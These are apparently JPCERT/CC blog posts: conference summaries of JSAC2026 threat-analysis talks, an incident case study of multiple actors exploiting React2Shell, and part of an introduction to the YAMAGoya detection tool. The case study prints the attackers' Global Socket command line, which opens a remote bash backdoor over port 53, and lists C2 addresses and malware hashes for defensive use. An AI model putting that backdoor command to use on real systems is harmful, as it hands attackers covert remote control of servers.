2026-02-27T02:00:00Z

Continuing from the previous report, this second installment introduces the presentations delivered during the Day 2 Main Track.

Following the Trace: Reconstructing Attacks from Ext4 and XFS Journals

Speaker: Minoru Kobayashi, Internet Initiative Japan Inc.

Presentation Materials (English)

Minoru Kobayashi presented an approach for inferring file operations and reconstructing them as a timeline based on the journal structures and analysis methods of the ext4 and XFS file systems. Through a demonstration of the journal analysis tool “FJTA (Forensic Journal Timeline Analyzer),” developed for this purpose, the presentation highlighted the effectiveness of journal analysis in complementing conventional timeline analysis, even in situations where timestamps cannot be considered reliable.

At the outset, the limitations of traditional timeline analysis in digital forensics were discussed. Specifically, MACB timestamps represent only a snapshot at the time of disk acquisition and, by design, cannot reflect multiple historical operations or manipulations such as timestomping. As a new approach to address this challenge, the motivation for focusing on the journal mechanisms of ext4 and XFS, which are widely used in Linux environments, was explained.

The presentation then provided an overview of the structures and analysis methods of ext4 and XFS journals, demonstrating how metadata modification records stored on a per-transaction basis can be used to infer operations such as file creation and deletion, and to reconstruct them chronologically. Although the specifications of these file systems are publicly available, no open-source tools currently exist that can practically analyze both file systems and visualize the results in timeline form. It was also noted as a challenge that existing tools such as The Sleuth Kit only provide data enumeration.

Through a demonstration of FJTA, it was shown that file activities can be detected from journal data, enabling the visualization of attack traces that would not be visible through conventional timeline analysis. The presentation also addressed practical application examples in real attack scenarios, as well as the limitations of anti-forensic techniques.

In conclusion, it was emphasized that file system journals constitute highly reliable forensic artifacts that are difficult to tamper with. For incident response, it was recommended that journal data should be collected as a priority after acquiring a memory image. The speaker emphasized the importance of prioritizing journal acquisition over block device analysis and standard file collection.

Unmasking the CoGUI Phishing Kit, the Major Chinese Phishing-as-a-Service Targeting Japan

Speaker: TeamDonut Shadow Liu, Lime Chen, Albert Song

Presentation Materials (English)

Shadow Liu, Lime Chen, and Albert Song presented an analysis of the phishing campaign “CoGUI,” which targets numerous Japanese brands in the financial, transportation, and government service sectors, as well as of the China-based Phishing-as-a-Service (PhaaS) platform “FishingMaster (垂钓大师)” behind its operations.

The session began with an overview of the current state of large-scale phishing attacks targeting Japan and demonstrated that CoGUI is operated through FishingMaster. Because the platform has promoted and distributed its services through closed channels, its operations had long remained largely unknown. By comparing its evolution from the first-generation platform to its successor systems, and through web scanner data analysis, monitoring of underground communities, and technical investigation, the speakers systematically uncovered the infrastructure configuration and operational ecosystem supporting CoGUI.

It was further explained that, following media coverage in 2025, the operators temporarily suspended their activities but later resumed operations under rebranded names such as NX and FA. In doing so, they enhanced operational security by further concealing infrastructure, encrypting communications, and strengthening detection evasion capabilities.

The presentation also shared findings related to attribution and behavioral patterns observed in underground markets, examining the group’s business model and risk management strategies.

In conclusion, it was noted that the operators tend to scale down activities rapidly in response to legal pressure or law enforcement actions, suggesting that psychological pressure could be a point of weakness. For defenders, the importance of identifying characteristic URL and API patterns, tracking related infrastructure, and conducting proactive threat hunting was emphasized.

The Mechanism for Building a Phishing Admin Panel

Speaker: Masaomi Masumoto, NTT DOCOMO BUSINESS, Inc.

Presentation Materials (English)

Masaomi Masumoto presented the methods for building phishing admin panels and their functionalities, against the backdrop of the growing prevalence of Phishing-as-a-Service (PhaaS).

The session began by explaining how the widespread adoption of PhaaS has lowered the technical barriers to conducting phishing attacks and improved the efficiency of phishing operations, leading to the emergence of phishing admin panels. In recent implementations, these panels allow operators to create and configure phishing sites, manage stolen information, configure cloaking settings, manage domains, and even bypass one-time passwords.

The presentation then outlined the construction methods and technical mechanisms of phishing admin panels, highlighting that they are designed for rapid deployment and removal through the use of Docker and automated installation scripts. A notable characteristic of such attack infrastructure is that immediacy and efficiency are prioritized over persistence. It was also explained that analyzing the deployment tools can provide insight into the underlying infrastructure used by the operators.

Furthermore, through case studies such as “CoGUI” and “Oriental Gudgeon,” the presentation analyzed the dependent domains and URL structures, demonstrating that PhaaS infrastructure relies heavily on a limited set of specific URLs or domains. Given this high level of dependency, it was pointed out that blocking those particular URLs or domains could potentially disrupt the operation of the service as a whole.

In conclusion, it was emphasized that effective phishing countermeasures require addressing not only individual phishing sites but also identifying and taking down the admin panels themselves. As a first step toward this objective, the speaker emphasized the need to understand the mechanisms and construction methods of phishing admin panels.

Combatting residential proxy services in Japan: Part II

Speaker: Yuji Ino, Recruit Co., Ltd.; Paul Ziegler, Reflare, Ltd.

In his presentation at JSAC2022 “The Struggle Against Domestic Malicious Proxy Services”, Yuji Ino collected and analyzed the exit IP addresses used by 911, which was the largest provider at the time, over a one-year period. The session explained the detection of residential IP proxies that leveraged consumer Internet connections, as well as the challenges of IP address–based reputation assessment.

In this presentation, together with Paul Ziegler, the speakers provided an update on three years of research conducted since JSAC2022. Based on continuous monitoring of domestic IP addresses, they discussed the latest trends in residential proxy services, their patterns of abuse, and related detection techniques. As the presentation contained a significant amount of information classified as TLP:RED, specific details are not disclosed.

A deep-dive into RapperBot C2 operation and DDoS attacks

Speaker: Hideyuki Furukawa, National Institute of Information and Communications Technology

Presentation Materials (English)

Hideyuki Furukawa provided an in-depth analysis of the IoT-focused DDoS botnet “RapperBot,” presenting findings on its C2 operations and DDoS attack activities, which had not previously been reported in detail.

The session began with an overview of RapperBot, explaining that it primarily targets DVRs and network cameras and propagates through multiple scanners. An ongoing investigation since 2022, including darknet monitoring and data collected through honeypots, confirmed a large number of infections in regions such as Taiwan, the United States, and Japan, and revealed the large-scale operation of its C2 servers.

The presentation then examined specific cases, including the correlation between RapperBot’s DDoS attack timing and intermittent service disruptions affecting X (formerly Twitter) in March 2025, as well as concentrated attacks against online game–related servers in China. In addition, analysis of the malware architecture, C2 protocol specifications, server rotation practices, and operational aspects of the user interface suggested that the C2 control panel may have been operated through macro-based automation or via a console interface. It also revealed instances of operational mistakes and inefficient configurations.

Furthermore, based on approximately five months of data collected prior to the operator’s arrest, the presentation organized details of the C2 operations, attack commands, and targeting trends. It was reported that the implementation of a blacklist function prevented repeat attacks, ultimately leading to the cessation of communications and the arrest of the operator.

In conclusion, the speaker emphasized the importance of understanding the operational realities of large-scale IoT botnets in order to accurately assess the threat landscape, and highlighted the need to reduce the number of vulnerable IoT devices as a fundamental measure.

Unraveling the WSUS Exploit Chain: Incident Analysis and Actor Insights

Speaker: Shohei Iwata; Teruki Yoshikawa, NTT Security Japan KK

Presentation Materials (English)

Shohei Iwata and Teruki Yoshikawa presented an in-depth analysis of an attack exploiting the WSUS RCE vulnerability (CVE-2025-59287). They shared how the investigation progressed toward identifying the initial point of compromise, describing a hypothesis-driven analysis informed by insights gained through daily intelligence collection, as well as attribution analysis based on TTP evidence, including the abuse of Velociraptor. The session provided a practical reference case for incident response and offered recommendations for reviewing defensive measures in light of evolving threat trends.

The presentation began with an overview of an attack targeting a Japanese company that was observed by a SOC in October 2025. In this incident, the intrusion began with the exploitation of the WSUS RCE vulnerability, and Velociraptor, a legitimate forensic/DFIR tool, was abused as an RMM tool. At the outset, there was no clear information regarding the infection vector, and the true initial point of compromise could not be readily determined based solely on EDR telemetry. However, by correlating multiple detected alerts with process tree analysis and network IoCs, the analysis reconstructed the deployment flow of Velociraptor via an MSI installer and concluded that this vulnerability was very likely used for initial access.

The presentation then detailed the attack flow and the tools employed. By identifying commonalities across Velociraptor configuration files, PKI structures, hosting server domains, MSI file names, and AWS account names, the speakers determined that the multiple incidents were linked to the same actor.

In conclusion, the speakers emphasized the importance of strengthening detection capabilities and reviewing configurations based on the lessons learned from this case, and shared practical insights applicable to incident analysis.

Continuous Intrusion/Continuous Distribution: Tracking Fox’s Iterative Malspam Campaign

Speaker: Satoshi Kamekawa, ITOCHU Cyber & Intelligence Inc.

Presentation Materials (English)

Satoshi Kamekawa presented an analysis of a phishing campaign targeting Japanese organizations that was attributed to “Silver Fox” and observed between September and October 2025. Based on attack patterns classified into five distinct phases, the session examined the characteristics of the suspicious emails, findings from the analysis of the attack infrastructure, and technical findings from the observed malware samples.

The presentation began with an overview of the investigation into a large volume of phishing emails impersonating specific organizations and containing embedded URLs within the message body. When recipients clicked the malicious URLs, they were redirected through intermediary sites, leading to the download of a loader, which subsequently retrieved additional payloads in a multi-stage infection chain.

The session then detailed the infection flow and highlighted inconsistencies in the malware’s implementation, such as logic designed to detect Japanese language environments while failing to execute outside Chinese language environments, suggesting potential development or configuration contradictions.

Furthermore, it was explained that the threat actors continuously updated their tactics, including compiling malware and deploying it to C2 servers shortly before distributing phishing emails. The malware used in the campaign included ValleyRAT and VShell. While ValleyRAT had previously been reported primarily in attacks targeting organizations in China and Taiwan, cases involving Japanese organizations had been limited. In this campaign, however, Japan was also included among the targets, suggesting that the threat actors may be expanding the scope of their operations.

In conclusion, based on similarities in the malware used and overlaps with previously observed activities, the speaker stated that the campaign was likely linked to “Silver Fox.” The presentation emphasized the importance of strengthening monitoring of Japanese-language phishing emails, improving detection and blocking of anomalous communications, and conducting continuous threat analysis.

From Access to Encryption: Uncovering Qilin’s Attack Lifecycle

Speaker: Takahiro Takeda, Cisco Talos

Presentation Materials (English)

Takahiro Takeda presented an overview of ransomware trends in Japan, with a particular focus on the Qilin group. The session outlined the full attack lifecycle and the current state of initial access based on analysis of multiple incidents.

The presentation began by noting that the number of ransomware incidents in Japan increased in 2025, with small and medium-sized enterprises accounting for more than half of affected organizations. Among these cases, Qilin was associated with a notable share of domestic incidents, underscoring its significant presence among domestic cases.

It was further explained that Qilin has expanded its activities globally, including in the United States, Canada, China, and South Korea, and remains highly active, continuously publishing victim organizations on its leak site.

The session then examined the realities of Qilin’s initial access methods. Primary intrusion vectors included the abuse of leaked credentials obtained through encrypted messaging applications such as Telegram and Signal, marketplace forums, and initial access brokers. Once inside a network, the attack typically progressed through reconnaissance, lateral movement, credential theft, abuse of RMM tools, and ultimately data exfiltration and encryption.

Characteristic TTPs were also highlighted, including selective data exfiltration using a combination of legitimate and custom tools, encryption of entire virtual environments through automated scripts, clearly defined role separation within the group, and EDR evasion techniques.

In conclusion, given the short time between initial access and encryption, the importance of early detection before ransomware execution was emphasized. Recommended measures included comprehensive log collection, strict enforcement of MFA, implementation of offline backups, proactive configuration of security products, and strengthened detection through the use of Sigma and YARA rules. The speaker also cautioned that attacks are likely to continue and become increasingly automated.

Conclusion

This article introduced the presentations delivered on the second day of JSAC2026. In the next installment of JPCERT/CC Eyes, coverage will continue with highlights from the workshop, lightning talk session, and panel discussion.

Nanae Sasaki (This article was machine-translated and manually reviewed.)

JSAC2026 -Day 1-

2026-02-20T02:00:00Z

JPCERT/CC hosted JSAC2026 from January 21 to 23, 2026. JSAC is an annual conference dedicated to advancing the capabilities of security analysts by fostering the exchange of technical knowledge and operational insights related to incident analysis and response. Now in its ninth year, the event incorporated a new training program, expanding the program to three days. Across two days, the conference featured 17 presentations, three workshops, and six lightning talks. Presentation materials are available on the JSAC website(some materials are not publicly available). This series in JPCERT/CC Eyes presents highlights from the conference in three installments. This first installment covers the presentations from Day 1 of the Main Track.

The Betrayed Update: Beyond the Signpost

Speaker: Takahiro Yamamoto (ITOCHU Cyber & Intelligence Inc.)

Presentation Materials (Japanese)
Presentation Materials (English)

Takahiro Yamamoto discussed a case involving a compromised update process of a legitimate application attributed to the threat actor “Tropic Trooper.” The investigative process leading to identification of the root cause was outlined, along with key lessons learned.

At the outset, the speaker suspected lateral movement or a supply chain attack. However, detailed log analysis revealed that configuration data pointing to the legitimate application’s update server had been tampered with, redirecting the application to a malicious update destination. Analysis of multiple cases uncovered a common pattern: the issue only reproduced when the affected systems were connected to a specific home network. This finding indicated that the root cause was not the endpoint itself, but the surrounding network environment. Further investigation—leveraging endpoint sensors and custom scripts—revealed that a suspicious IP address had been configured on the cache DNS server referenced by the home router. As a result, DNS responses were poisoned, causing specific domains to resolve to a fake update server. The application then downloaded malicious configuration data, leading to malware delivery and execution.

As countermeasures, the use of trusted DNS servers via full-tunnel VPNs was emphasized, along with adoption of DNS-over-TLS (DoT) or DNS-over-HTTPS (DoH) to mitigate DNS hijacking, and strengthened endpoint detection and monitoring. The session concluded that incident analysis yields valuable intelligence when attention is paid not only to observable outcomes, but also to the structural characteristics of the attack and the adversary’s intent.

Knife Cutting the Edge: Dissecting a Gateway Surveillance & MitM Framework

Speaker: Chi-en “Ashley” Shen (Cisco Talos)

Chi-en “Ashley” Shen examined how routers and other edge devices have become critical targets in surveillance and espionage campaigns. The session analyzed a framework capable of inspecting and manipulating traffic directly on gateway edge devices. As this session was classified as TLP:RED, further details are omitted here.

The Return of Old Forces: Revealing New Campaigns Connected to a Missing Cyber Mercenary Firm

Speaker: Joseph Chen (Trend Micro)

Presentation Materials (English)

Joseph Chen examined activities attributed to “Earth Lusca” and “Earth Krahang,” both reportedly linked to the Chinese company i-Soon. The company drew significant attention in February 2024 after internal documents were leaked, suggesting involvement in espionage activities and possible ties to government entities. Although activity from the associated groups appeared to subside following the leak, operations may have resumed in 2025.

The “PONDSNAKE” campaign, first detected around October 2024, targeted government organizations as well as financial institutions, including insurance and securities firms. Initial access was achieved through exploitation of vulnerabilities in public-facing servers or via spear-phishing emails. After gaining access, the operators deployed SnakeC2, NEOBEACON (which abuses OneDrive and the Microsoft Graph API for C2), Cobalt Strike, VShell, and SoftEther VPN. Based on shared characteristics—such as the use of SnakeC2 variants and the abuse of compromised government websites—the activity was assessed with medium-to-high confidence as attributable to Earth Krahang.

The “WILYCODE” campaign, identified around May 2025, targeted government agencies, educational institutions, and hospitals. It primarily exploited vulnerabilities in public-facing servers, including React2Shell (CVE-2025-55182). The group also utilized open-source hacking tools and executed Cobalt Strike and VShell via HyperBro Launcher. While overlaps such as HyperBro Launcher usage and similarities in C2 profiles were identified, many of the observed TTPs were common. As a result, attribution to Earth Lusca was assessed with low confidence.

Chen concluded that when legacy tools are reused alongside newly introduced elements, attribution should be based on multiple independent lines of evidence rather than single indicators.

Attribution in Action: A Case Study of an Incident Involving Multiple Activity Clusters

Speakers: Hiroaki Hara and Doel Santos (Palo Alto Networks)

Presentation Materials (English)

Hiroaki Hara and Doel Santos presented a case study in which three distinct activity clusters were operating concurrently within a single organization. A step-by-step attribution methodology grounded in observed facts was described.

One cluster, “CL-STA-1048,” employed tools such as RawCookie, EggStreme Loader, Gorem RAT, and Masol RAT. Although potential links to known groups such as Earth Estries were considered, attribution was assessed with low confidence.

Another cluster, “CL-STA-1049,” initiated activity using Hypnosis Loader via DLL proxy sideloading and subsequently deployed tools such as FluffyGh0st. Tool overlap provided strong evidence linking this cluster to “Unfading Sea Haze.”

The “Stately Taurus” cluster involved tools including HIUPAN, USBFect, PUBLOAD (spread via USB), and CoolClient variants. Although a direct execution chain between PUBLOAD and CoolClient was not confirmed, similarities in obfuscation techniques suggested codebase-level connections.

A framework separating source reliability from information credibility in attribution assessments was introduced. The trend of “Premier Pass-as-a-Service,” in which multiple APT groups collaborate closely in coordinated operations, was also highlighted, underscoring the importance of regularly reviewing internal attribution processes.

Ghost in Your Network: How Earth Kurma Stays Hidden and Exfiltrates Your Data

Speakers: Nick Dai and Sunny W. Lu (Trend Micro)

Presentation Materials (English)

Nick Dai and Sunny W. Lu shared findings on the APT group “Earth Kurma,” which targets government and telecommunications sectors in Southeast Asia. Initial compromise typically begins with vulnerable web servers, followed by reconnaissance and lateral movement. Multiple toolsets are selectively deployed depending on the environment to maintain persistence and evade detection.

For persistence, combinations of rootkits, backdoors, and loaders are used. “MMLOAD” relies on reflective loading for staged deployment. “KRNRAT” injects a user-mode agent into svchost.exe to maintain memory-resident execution. “MORIYA” incorporates new injection methods and EDR evasion techniques. Additionally, a Cisco Webex variant of “DOWNBEGIN” abuses multiple meeting rooms as distinct C2 channels.

For data exfiltration, PowerShell is used for collection and compression while legitimate cloud services such as OneDrive (ODRIZ), Dropbox (SIMPOBOXSPY), and Cisco Webex (SIMPOWEBEXSPY) are leveraged to reduce visibility. Distributed file systems are also used for both deployment and exfiltration.

As countermeasures, they recommended monitoring cloud communications by unauthorized applications, analyzing large internal data transfers and anomalous network paths, and preventing the installation of untrusted drivers.

Continuous Evolution of Tianwu's Pangolin8RAT and Custom Cobalt Strike Beacon

Speaker: Naoki Takayama (Internet Initiative Japan Inc.)

Presentation Materials (English)

Naoki Takayama reported on the continued evolution of “Pangolin8RAT” and a custom Cobalt Strike Beacon associated with the Chinese-linked APT group “Tianwu.”

Using a sample submitted to VirusTotal in September 2025 as a starting point, Takayama outlined an execution chain in which legitimate processes such as regsvr32.exe load “CoreX Loader.” The loader decrypts data embedded in its resources using XOR and AES before ultimately loading Pangolin8RAT into memory.

Pangolin8RAT is designed with plugin-based extensibility in mind, allowing its functionality to be expanded through additional modules. Takayama explained that the malware minimizes forensic artifacts by deleting logs and certain data after a system reboot, making it more difficult to trace. He also highlighted several communication-related characteristics, including abuse of Nutstore’s WebDAV service, the use of uniquely structured cookies in HTTPS communications, and manipulation of Host headers to conceal the underlying C2 infrastructure. In addition, recent evolutions aimed at detection evasion were discussed. These include strengthened string obfuscation, suppression of RTTI, and a mechanism that XOR-encrypts configuration data when specific processes are detected.

On the Beacon side, improvements such as integrating BOFs for sleep masking and changes to configuration encoding were observed. Remnants of legacy C2 information in headers provided operational clues regarding development and deployment practices.

Takayama noted that activity has continued since 2022, with indications that operations may have intensified again around October 2024. He emphasized the importance of continuous monitoring through the sharing of YARA and Sigma rules as well as IoCs.

Incident Response at the Edge: Unmasking the Massive Exploitation of Ivanti

Speakers: Greg Chen and Sharon Liu (TeamT5)

Presentation Materials (English)

Greg Chen and Sharon Liu examined widespread exploitation campaigns targeting VPN and gateway products such as Ivanti Connect Secure (ICS), with a focus on incident response methodologies for edge devices. They reported identifying at least 170 compromised devices across 25 regions, with significant concentrations in Japan, Taiwan, South Korea, and the United States. The operation involved intrusions associated with the SPAWN malware suite.

They outlined investigative challenges specific to Ivanti Connect Secure, including encrypted system partitions, GUI-centric management that limits log visibility, and overreliance on vendor-provided integrity check tools. To address these limitations, they demonstrated vendor-assisted remote debugging, offline analysis via decrypted disk images, and SSH console validation in controlled lab environments. When identifying suspicious binaries, they recommended supplementing integrity hash comparisons with additional indicators such as anomalous timestamps, differences between static and dynamic linking, and ELF metadata analysis.

They explained that the attack chain began with CVE exploitation, followed by deployment of the in-memory backdoor “TextDoor,” persistence via the SPAWN malware suite, and credential theft through “DebtTheft.” They emphasized the importance of protocol analysis and network signatures in identifying previously unknown compromises, particularly when integrity checks may have been bypassed.

Infrastructure-less Adversary: C2 Laundering via Dead-Drop Resolvers and the Microsoft Graph API

Speakers: Wei-Chieh Chao and Shih-Min Chan (Cycraft)

Presentation Materials (English)

Wei-Chieh Chao and Shih-Min Chan presented a case involving a Chinese state-sponsored actor targeting Taiwanese government agencies and the manufacturing sector. They described infrastructure-agnostic tradecraft, in which dedicated infrastructure is avoided by abusing legitimate communication platforms for C2 operations.

In the incident they analyzed, the attackers gained initial access via phishing, escalated privileges by exploiting AD CS misconfigurations, conducted lateral movement, and deployed remote access infrastructure such as SoftEther VPN. For C2 communications, they leveraged the Microsoft Graph API, C2 servers hosted behind Cloudflare, and compromised public websites functioning as “dead-drop” resolvers. They also highlighted a technique in which AD logon scripts were temporarily modified to distribute malware across endpoints before being restored to their original state to evade detection. They analyzed three malware families: GRAPHBROTLI and GRAPHRELOOK, which repurpose Microsoft Graph and Outlook APIs for C2 communications, and RCREMARK, which communicates with C2 servers hosted behind Cloudflare and retrieves commands embedded in HTML comments for execution.

They assessed that short-lived configuration changes and abuse of legitimate infrastructure reduce the effectiveness of blocklist-based defenses. They emphasized the importance of protecting and monitoring logon scripts, as well as closely inspecting cloud service API traffic and web access patterns.

Konni’s New Arsenal: Unmasking GSRAT in North Korea-linked APT Operation

Speakers: Takuma Matsumoto and Yoshihiro Ishikawa (LAC Co., Ltd.)

Presentation Materials (English)

Takuma Matsumoto and Yoshihiro Ishikawa analyzed attacks leveraging “GSRAT,” an AutoIt-based RAT observed since February 2025 and attributed to activity associated with the North Korea-linked threat actor “Konni.” In May 2025, they reported that the attackers conducted a spear-phishing campaign targeting organizations related to domestic financial institutions. In this campaign, the attackers impersonated affiliated companies and distributed malicious links.

In the observed infection chain, victims received spear-phishing emails that led them to download ZIP archives containing shortcut (LNK) files disguised as documents. When the LNK file was executed, an obfuscated script ran and displayed decoy content to the user while simultaneously downloading and extracting additional payloads. The infection then proceeded through VBS and BAT scripts, which ultimately launched AutoIt. Persistence was achieved by registering the malware in the Startup folder and creating scheduled tasks. The compiled AutoIt script containing GSRAT then communicated with its C2 server, enabling remote control of the compromised host.

The speakers also outlined characteristics of AutoIt, noting its capabilities for Windows GUI automation and API invocation, as well as its ability to be compiled into standalone executables with minimal dependencies, making it relatively lightweight. They introduced encoding techniques observed in recent samples, including the widely seen EA06 format, and explained associated extraction methods. GSRAT transmits a victim-specific identifier generated from host information along with version data to its C2 server and provides core backdoor functionality such as remote shell access, file upload and download, enumeration, deletion, and execution. Variants were observed incorporating modifications such as JSON-formatted communications and the introduction of custom delimiters.

Finally, the speakers outlined the indicators linking GSRAT to Konni. These included the transition from Custom Lilith RAT to GSRAT and distinctive infrastructure operation patterns observed across campaigns. They also summarized recommended defensive measures. These include using YARA and Sigma rules for detection, monitoring persistence mechanisms with Autoruns and EDR solutions, and restricting AutoIt execution through AppLocker or WDAC based on code-signing information.

Conclusion

This installment covered the presentations delivered on the first day of JSAC2026. The next issue of JPCERT/CC Eyes will continue with highlights from Day 2.

Tomoya Kamei
(This article was machine-translated and manually reviewed.)

Multiple Threat Actors Rapidly Exploit React2Shell: A Case Study of Active Compromise

2026-02-13T02:00:00Z

On December 3, 2025 (local time), a vulnerability allowing unauthenticated remote code execution in React Server Components (RSC) (CVE-2025-55182) was disclosed. JPCERT/CC has received multiple incident reports related to this attack. Among them, there was a case in which this vulnerability was exploited by multiple threat actors within a short period of time, resulting in multiple incidents occurring simultaneously, including website defacement. This article demonstrates how rapidly and indiscriminately attackers act when an easily exploitable vulnerability is disclosed, together with an attack timeline and an overview of the malware used. We hope this will serve as a reference for understanding how quickly countermeasures must be implemented when such critical vulnerabilities are made public.

Attack Timeline

Table 1 shows the attack timeline identified in the case. (To avoid revealing the identity of the affected organization, some URL paths and identifiers are masked.)

Table 1: Attack Timeline
Date and Time (JST)	Description
2025-12-05 15:52	Installation of coin miners (sex.sh, xmrig)
2025-12-06 07:28	Installation of coin miner (sex.sh.1)
2025-12-06 09:53, 10:09, 11:00	Installation of HISONIC (javax) backdoor
2025-12-06 15:00	Execution of Global Socket (npm-cli) hourly via cron
2025-12-06 19:31	Installation of SNOWLIGHT downloader (javas) and CrossC2 (rsyslo)
2025-12-07 12:24	Installation of coin miner (xmrig)
2025-12-07 16:51	Cron configuration modified to execute /tmp/kernal (disguised as kernel) every minute
2025-12-07 19:46	Website defacement (display of warning message)
2025-12-07 22:15	Incident discovered following a report from a service user

Only two days after the React2Shell vulnerability was disclosed on December 3, 2025, attacks aimed at installing coin miners were observed. Following this initial activity, various types of malware such as RATs and backdoors were installed and executed by multiple attackers, resulting in a situation where multiple threat actors had compromised a single server.
In addition to the timeline above, suspicious HTTP POST communications believed to target the React2Shell vulnerability were observed in the web server access logs from more than 100 IP addresses during the period from December 5 to 7, 2025. (Because request headers and POST data were not recorded in the access logs, this assessment was based on factors such as the User-Agent, request path, and response size.) This suggests that the server may actually have been targeted by even more attackers.

Initial Website Defacement

In this case, the compromise was discovered after a website user noticed that the website had been defaced by attackers and reported it. On the defaced website, a warning message was displayed in four languages stating that there was a vulnerability identified as CVE-2025-55182 and that patches needed to be applied immediately. Figure 1 shows an example of a defaced web page.

Figure 1: Defaced web page

Such defacements were confirmed on multiple websites both in Japan and overseas, all of which contained text urging immediate countermeasures to the vulnerability. Figure 2 shows an example of defaced sites displayed in search engine results.

Figure 2: Google search results

Installed Malware

In this case, a variety of malware and open-source tools were abused. Table 2 lists the malware that was installed (excluding configuration files and similar artifacts).

Table 2: Installed Malware
No.	File Name	Description
1	sex.sh	Bash script for downloading xmrig
2	sex.sh.1	Bash script for downloading xmrig
3	miner.sh	Bash script for launching xmrig
4	xmrig	xmrig coin miner
5	javax	HISONIC backdoor
6	javas	Bash script for downloading SNOWLIGHT
7	rsyslo	CrossC2 RAT
8	npm-cli	Global Socket tool
9	kernal	Details unknown because it had been deleted

Notably, in addition to typical financially motivated coin miners, the following were also observed: a SNOWLIGHT [1] downloader reportedly used by UNC5174, a Golang-based HISONIC backdoor [2] reportedly used by UNC6603, and CrossC2 RAT [3], the Linux version of the Cobalt Strike implementation, which was installed at the same time as SNOWLIGHT. Although the attackers’ actual objectives remain unclear, it is possible that these tools were intended to be exploited as part of a future attack infrastructure.
Additionally, unlike most cases reported by other security vendors, this incident involved the abuse of the open-source tool Global Socket (gsocket) [4]. This tool enables two devices that cannot directly reach each other due to NAT or firewall restrictions to connect via a relay network called the Global Socket Relay Network (GSRN). A key feature is that only devices sharing the same pre-shared key can communicate with each other. Communications are end-to-end encrypted, and GSRN only relays encrypted traffic.
In this case, the attackers specified the following environment variables and options at execution time, using npm-cli.dat as a secret file and abusing the tool as a backdoor that allowed remote operation via bash over port 53, which is primarily used for DNS communication.

GS_PORT='53' SHELL=/bin/bash TERM=xterm-256color GS_ARGS="-k /home/***/.config/dbus/npm-cli.dat -liqD"

Conclusion

In this React2Shell case, the vulnerability was rapidly incorporated into attack tools after disclosure, and within just a few days it was observed being abused by many threat actors. Attackers exploit vulnerabilities at extremely high speed, and when critical vulnerabilities are disclosed, it is essential to promptly assess the scope of impact and apply patches and other countermeasures.
Furthermore, when addressing vulnerabilities that are known to be actively exploited, it is necessary to verify whether compromise has already occurred in addition to applying patches. As demonstrated in this case, there may be more serious compromises beyond visible website defacement, and so it is recommended to carefully investigate whether there are any other affected components.
Details such as the C2 of the malware covered in this article are provided in the Appendix for reference.

Kota Kino, Yuki Yano (This article was machine-translated and manually reviewed.)

References

[1] SNOWLIGHT Windows malware used by UNC5174
https://sect.iij.ad.jp/blog/2025/11/unc5174-windows-snowlight-in-2025/

[2] Multiple Threat Actors Exploit React2Shell (CVE-2025-55182)
https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182

[3] CrossC2 Expanding Cobalt Strike Beacon to Cross-Platform Attacks
https://blogs.jpcert.or.jp/en/2025/08/crossc2.html

[4] Global Socket
https://github.com/hackerschoice/gsocket

Appendix A: C2

No.	Destination	Purpose
1	45.143.131[.]123:59999	SNOWLIGHT download source / C2 server
2	154.89.152[.]240:443	CrossC2 C2 server

Appendix B: Malware Hashes

No.	Hash (SHA-256)	File Name
1	5bae25736a09de5f4a0f9761d2b7bfa81ca8dba39de2a724473c9d021a65daa9	sex.sh
2	ba43e447e63611d365300bf2e8e43ccb02ea112778d0d555ef9a9ccf6169808b	sex.sh
3	ac3e12fa0aa4d6e4eed322e81ecf708a8c9bea29247ae6b26cc39d3b3a6c2fb8	miner.sh
4	a536d755313ce550a510137211eca6171f636fb316026e9df8523c496c8fcd12	xmrig
5	0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657	xmrig
6	1a1edbea47162b1aa844252fcd4fb97f2a67faec1993e7819efc6a04b7c15552	javax
7	0d07a974993221305ca7af139b73d9de1dcd992f553215e4f041e830a2d82729	javas
8	5baa52387daedea5e3e00adf96ecacb4a2cdc98100664f29ac86e8e4a423baaf	54ad0ee3tcp
9	c1a9cfc62626118bd9f54e401fd52ecd2d766a5e8a69dbc7db909ea5c987fcc0	54ad0ee3tcp
10	4a74676bd00250d9b905b95c75c067369e3911cdf3141f947de517f58fc9f85c	rsyslo
11	cb5f62bf7b591e69bd38e6bf8e40e8d307d154b2935703422d44f02e403d2e78	npm-cli

YAMAGoya: A Real-time Client Monitoring Tool Using Sigma and YARA Rules

2025-11-18T02:00:00Z

In recent years, fileless malware and obfuscation techniques have made it increasingly difficult to detect suspicious activity by scanning files alone. To counter these threats, security researchers and malware analysts actively create and publish detection rules such as Sigma and YARA.
However, many existing endpoint security tools rely on unique detection engines, instead of directly using Sigma or YARA. To address this problem, JPCERT/CC released the open-source threat hunting tool YAMAGoya. The tool is available at the following GitHub repository, and feel free to use it.

GitHub JPCERTCC/YAMAGoya: https://github.com/JPCERTCC/YAMAGoya

Figure 1: YAMAGoya startup screen

This blog article introduces YAMAGoya's concept and how to use it.

Concept of YAMAGoya

YAMAGoya is designed to detect threats by combining ETW (Event Tracing for Windows) event monitoring with memory scanning. The main features of this tool are:

Userland-only operation: No kernel driver required, making implementation easy.
Real-time monitoring: Monitor files, processes, registry, DNS, network, PowerShell, WMI, etc. in real time via ETW.
Supports multiple rule formats: Supports Sigma and original YAML rules that can be used for correlation analysis.
Memory scanning: Detect fileless or packed malware using YARA rules.
GUI / CLI support: Can be used from the GUI or automated from the command line.

Installation

Get binaries

If you want to evaluate the tool immediately, you can download binaries from the GitHub repository's Releases page.

Build

If you want to build it from source, please refer to the README.

How to use

YAMAGoya can be used via GUI and CLI. Start from command-line without options or double-click to launch the GUI.

# Execute GUI
> YAMAGoya.exe

This tool must be executed with administrative privileges (to start an ETW session). When launching the tool, choose “Run as administrator” from the right-click menu or start a command prompt with administrative privileges.

From the command line, you can run it as follows. See the helpoption for additional options.

# Monitor with Sigma rules
> YAMAGoya.exe --session --sigma "C:\Rules\Sigma" --all

# Memory scan with YARA rules
> YAMAGoya.exe --session --yara "C:\Rules\YARA" --all

Supported rules in YAMAGoya

Since YAMAGoya supports Sigma and YARA rules, please make use of publicly available rules. For Sigma rules, the supported categories are limited to those targeting Windows OS. For details, see README:

In addition to Sigma and YARA rules, the tool supports original YAML rules. The following section explains how to write custom YAML rules.

How to write custom YAML rules

To create a custom YAML rule, follow the schema below. Each rule file must include the following:

- rulename: A unique name for the rule
- description: A description of what the rule detects
- rules: A list of rule items. Each item must include:
  - ruletype: The type of rule (e.g., regex, binary)
  - target: The event category to match
